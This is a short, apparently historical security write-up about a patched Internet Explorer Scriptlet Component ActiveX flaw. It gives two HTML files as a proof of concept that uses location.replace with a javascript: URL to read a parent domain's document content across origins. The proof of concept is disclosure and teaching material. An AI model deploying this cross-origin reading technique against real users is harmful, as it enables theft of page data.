The old Scriptlet Component ActiveX (CLSID AE24FDAE-03C6-11D1-8B76-0080C744F389) loads a URL and exposes its document in a way that bypasses same-origin restrictions. A page in a different domain that uses location.replace("javascript:...") inside the scriptlet context can read the parent document’s content.

index.html:

<!doctype html public "-//w3c//dtd html 4.0 transitional//en">
<html><head>
<title>Scriptlet Component xDomain</title></head>
<body>
<object height="200" width="500" classid="clsid:AE24FDAE-03C6-11D1-8B76-0080C744F389">
	<param name="Scrollbar" value="0">
	<param name="URL" value="http://www.iframe.com/crash/18/thisFileShoudBeInADifferentDomain.html">
</object>
</body>
</html>

thisFileShoudBeInADifferentDomain.html:

<!doctype html public "-//w3c//dtd html 4.0 transitional//en">
<html><head>
<title>This file should be in a different domain than the index.html</title></head>
<body>
<script language="JavaScript">
location.replace("javascript:alert('innerHTML from parent Domain:\\n\\n'+document.body.innerHTML)");
</script>
</body>
</html>

The Scriptlet Component was an early predecessor to DHTML behaviors and IFRAMEs. When the cross-origin page inside it navigates to a javascript: URL via location.replace, it runs in the scriptlet’s document context rather than the loaded page’s context, giving it access to the parent domain’s document. This is the “pseudo” UXSS label again — the target page needs to cooperate, but the scriptlet container is what makes it possible.

Found during my years at Microsoft (2006–2014). These bugs were patched long ago — shared here as a historical record for learning purposes.